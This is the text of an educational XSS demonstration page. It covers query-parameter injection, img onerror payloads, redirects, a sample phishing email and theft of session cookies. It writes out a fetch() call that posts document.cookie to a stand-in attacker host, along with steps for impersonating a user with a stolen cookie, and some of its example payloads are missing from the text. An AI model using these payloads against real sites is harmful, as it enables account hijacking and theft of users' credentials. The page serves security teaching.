XSS Demo

This site demonstrates the power of the XSS attack when it can be run on an online service.

Several attack methods are included here, so you can get an idea for how each one works.

DANGER

This tool was designed to educate people about the dangers of XSS. It was not designed to entice or promote malicious actors to take control of any account that does not belong to the rightful owner. Never attempt any of the exploits you see here on real systems. Be smart, test these on your own systems only, at your own risk. See the license for more information.

---

What is XSS?

XSS is a simple attack that involves arbitrarily executing code on a target user's browser by means of a poorly designed frontend and/or backend system.

This type of attack can be invoked in a variety of ways, including through forms, query parameters, profile pages on social media, and more. We will take a look at several methods here.

How the demo works

In the context of this demo, attack1.html simulates a situation in which the URL query parameters can be abused to inject arbitrary HTML and JavaScript code directly on the target user's browser.

XSS with URL query parameters

Suppose you have a page where you wish to display the user's name using a path parameter. During normal use, this URL could look something like this:

This would print Hello, John Smith! on that page.

Let's also suppose the page in which the endpoint is located is not sanitizing data in this field and, therefore, places the path parameter's content directly into the page. This is not good!

Exploiting HTML event attributes

Of course, one can take advantage of this. Using some HTML attribute trickery, you would be able to execute arbitrary JavaScript code on the target machine. Here's an example:

This takes advantage of a trick where you are able to render an <img> element on the page and immediately execute JavaScript code within the element as it appears on the page.

HTML contains numerous event attributes where you can directly run JavaScript code within the element when a specific event occurs. Here, we are using the onerror event which triggers when the image experiences an error when loading. Because we know that lmao is not a valid image path either as an absolute or relative path and doesn't include a file extension, the image instantly fails to load and triggers onerror. In this case, the code causes an alert in the browser.

When discussing XSS, window.alert() is an easy and popular way to demonstrate that arbitrary JavaScript code was executed on the browser.

Redirecting window location

Since we now have a way to run whatever we want, it's possible to redirect the user to any page you want, even if it is outside the current domain. You can probably see where I'm going here. I dare you to try this one:

DANGEROUS! Stealing session data

So far the other examples have demonstrated that it is possible to arbitrarily execute JavaScript code on the page. However, none of them have done much besides play with the user a little bit. Let's move on to discuss a real powerful example that XSS is known for – accessing user session tokens through exfiltrating document.cookie !

Session tokens are strings of text that act as an alternative password to keep the end user logged into a service. Typically, session tokens expire after a set amount of time; however, in some cases, the expiration time may not exist or would be long enough for a malicious user to compromise the target user's account.

Getting a target user's session token data

Accessing the user's cookies is quite easy. It can be done in just one simple line: document.cookie – That's it! This returns a string containing a key1=value1;key2=value2;key3=value3 format which can be instantly copied and pasted into the attacker's machine.

The power of this attack comes when we are able to call fetch() to pipe the contents of document.cookie to a server that the attacker hosts. In other words, everyone who runs the following code would have their login credentials stolen instantly. Here's an example of how that could be done:

fetch("https://attacker-server.com/cookie-storage", {
  method: "POST",
  body: JSON.stringify({cookies: document.cookie})
}).then();

What this allows us to do

The very second a target user opens this link, within a few milliseconds, their credentials are stolen. Now on our end, we can inject the cookie, and impersonate the user, as we have essentially cloned sessions. This can be done like so:

document.cookie = "xss_test_session=STOLEN_TOKEN";

BOOM! Access to the user's account is now granted, and we can do whatever we want. Change their passwords, make purchases, access credit cards, anything they can do, we can now do as well.

Simulating a cookie attack

Here's an example of a payload that would print the content of the cookie to the screen:

Third party JavaScript fetch

In this example, a request is made to a Simpsons API to demonstrate that it is possible to send the cookie to third party services, such as a web server hosted by you as the attacker.

A fetch request is made to the API to fetch a Simpsons quote, which then triggers a JavaScript promise to decode the JSON response from the server and display it on the page. Of course, in typical attacks you may not want to display anything after the data has been sent successfully – that's the point. XSS is a secretive attack that the user may not even notice has occurred in the background.

DANGER

Under no circumstances should you ever try to actually attempt to hijack a user's session with any methods listed here without permission. These methods have typically already been patched by most major corporations. It is not worth getting yourself in trouble. Be smart, test on your own hosted systems only.

Deceptive messages

This becomes even more powerful in deceptive message attacks as the dangerous link appears to be a genuine link that wouldn't look any different from what the user is used to seeing on the site. For example, imagine my domain was a user's cloud service provider. The link could look like the following in a fake email sent from an attacker. Click Try to see it in action and to learn more.

Hi John,

Someone has tried to access your account and you need to take action now to change your password.
Please Try →log in to your account now.

Thanks,
Super Secure Cloud Company

---

Try it yourself!

The best way to learn is to learn by doing. Try some of the interactive examples here.

Try simple XSS attacks

Try the demo below. You can write HTML here. Your browser will navigate to the endpoint you enter.

NOTE

Normally, this would need to be URI encoded first, but this demo handles that for you before redirecting to the endpoint, so you can just focus on programming your XSS attack.

Tips for building your own XSS script

Here are some things to keep in mind when building your script:

• Start with the Example as this inserts the boilerplate code for you
• Think in terms of JavaScript, and build the logic for what you want it to do
• Use single quotes '' where possible, escaping double quotes with \"\"

You can also try the following:

• The attack does not have to trigger JavaScript, try modifying other HTML on the page
• It's possible to attempt to get access to the user's hardware through various JavaScript APIs

How to use this example

If you need an example to get started, click Example to populate the field with a pre-made XSS attack.
Click Copy Link to see the encoded URL and share it with your friends.
Press Ctrl + Enter or click Run to navigate to the page.
Press Enter for a new line.

username query param Run → Copy Link → Clear ✗ Example ✓

Advanced: Try cookie grabber attacks

Want to experiment with how session tokens could be stolen? I've included one in this site called xss_test_session which, by default, is set to my_secret_session_token.

Setting the cookie

Use the field below to change its value. You can open the DevTools menu in your browser to view its value. You may also use the JavaScript console to set this cookie.

The xss_test_session cookie is currently set to: loading

Cookie value
Save ✓ Reset ✗